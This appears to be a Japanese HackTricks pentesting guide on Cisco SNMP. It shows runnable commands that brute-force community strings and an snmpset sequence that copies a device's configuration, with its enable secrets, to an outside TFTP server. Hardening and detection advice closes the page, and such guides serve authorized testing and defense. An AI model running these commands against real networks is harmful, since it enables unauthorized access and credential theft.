# Cisco SNMP {{#include ../../banners/hacktricks-training.md}} ## Ciscoネットワークのペンテスト **SNMP**は、一般的なメッセージ用に**161/UDP**ポート、トラップメッセージ用に**162/UDP**ポートを使用してUDP上で機能します。このプロトコルは*コミュニティストリング*に依存しており、SNMPエージェントとマネージャー間の通信を可能にするプレーンテキストの「パスワード」として機能します。これらのストリングは、特に**読み取り専用(RO)または読み書き(RW)権限**のアクセスレベルを決定します。 古典的でありながら依然として非常に効果的な攻撃ベクターは、**コミュニティストリングをブルートフォース**して、認証されていないユーザーからデバイス管理者(RWコミュニティ)に昇格することです。このタスクに便利なツールは[**onesixtyone**](https://github.com/trailofbits/onesixtyone): ```bash onesixtyone -c community_strings.txt -i targets.txt ``` 他の迅速なオプションは、Nmap NSEスクリプト`snmp-brute`またはHydraのSNMPモジュールです: ```bash nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24 hydra -P wordlist.txt -s 161 10.10.10.1 snmp ``` --- ### SNMPを通じた設定のダンプ (CISCO-CONFIG-COPY-MIB) **RWコミュニティ**を取得すると、CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`) を悪用して、*CLIアクセスなし*でrunning-config/startup-configをTFTP/FTPサーバーにコピーできます。一般的なアプローチは次の2つです: 1. **Nmap NSE – `snmp-ios-config`** ```bash nmap -sU -p161 --script snmp-ios-config \ --script-args creds.snmp=private 192.168.66.1 ``` スクリプトは自動的にコピー操作を調整し、設定をstdoutに出力します。 2. **手動 `snmpset` シーケンス** ```bash # Copy running-config (4) to a TFTP server (1) – random row id 1234 snmpset -v2c -c private 192.168.66.1 \ 1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp 1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig 1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile 1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP 1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\ 1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo ``` 行識別子は*ワンショット*です。5分以内の再利用は`inconsistentValue`エラーを引き起こします。 ファイルがTFTPサーバーにあると、資格情報(`enable secret`、`username secret`など)を確認したり、修正した設定をデバイスにプッシュしたりできます。 --- ### Metasploitの便利なツール * **`cisco_config_tftp`** – 同じMIBを悪用した後、TFTP経由でrunning-config/startup-configをダウンロードします。 * **`snmp_enum`** – デバイスのインベントリ情報、VLAN、インターフェースの説明、ARPテーブルなどを収集します。 ```bash use auxiliary/scanner/snmp/snmp_enum set RHOSTS 10.10.100.10 set COMMUNITY public run ``` --- ## 最近のCisco SNMP脆弱性 (2023 – 2025) ベンダーのアドバイザリーを追跡することは、エンゲージメント内での*ゼロデイからnデイ*の機会を特定するのに役立ちます: | 年 | CVE | 影響を受ける機能 | 影響 | |------|-----|-----------------|--------| | 2025 | CVE-2025-20174 | SNMPサブシステム | 作成されたパケットが認証された*DoS*(リロード)を引き起こす(IOS/IOS-XE (v1/v2c/v3))。 | | 2024 | CVE-2024-20373 | IPv4 ACL処理 | 誤って設定された**拡張**ACLが静かに*失敗*し、正しいコミュニティ/ユーザーが知られている場合に認証されていないSNMPポーリングを許可します。 | | 2025 | (まだCVEなし) | SNMPv3設定制限のバイパス | 有効なv3ユーザーが拒否されるべきアドレスからポーリングできます。 | 悪用可能性は、コミュニティ文字列またはv3資格情報を持っていることに依存することが多く、これがブルートフォース攻撃が依然として関連性を持つ理由の一つです。 --- ## ハードニングと検出のヒント * 修正されたIOS/IOS-XEバージョンにアップグレードする(上記のCVEについてはCiscoのアドバイザリーを参照)。 * v1/v2cよりも**SNMPv3**の`authPriv`(SHA-256/AES-256)を優先する。 ``` snmp-server group SECURE v3 priv snmp-server user monitor SECURE v3 auth sha priv aes 256 ``` * SNMPを管理VRFにバインドし、**標準の番号付きIPv4 ACLで制限する**(拡張名付きACLはリスクが高い – CVE-2024-20373)。 * **RWコミュニティ**を無効にする;運用上必要な場合は、ACLとビューで制限する: `snmp-server community RW 99 view SysView` * 監視する項目: - UDP/161のスパイクや予期しないソース(SIEMルール)。 - `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource`イベントは、アウトオブバンドの設定変更を示します。 * **SNMPv3ロギング**を有効にし、特定のDoSベクターを減らすために`snmp-server packetsize 1500`を設定します。 --- ## 参考文献 - Cisco: *SNMPを使用してCiscoデバイスに設定をコピーする方法* - Ciscoセキュリティアドバイザリー *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373) {{#include ../../banners/hacktricks-training.md}}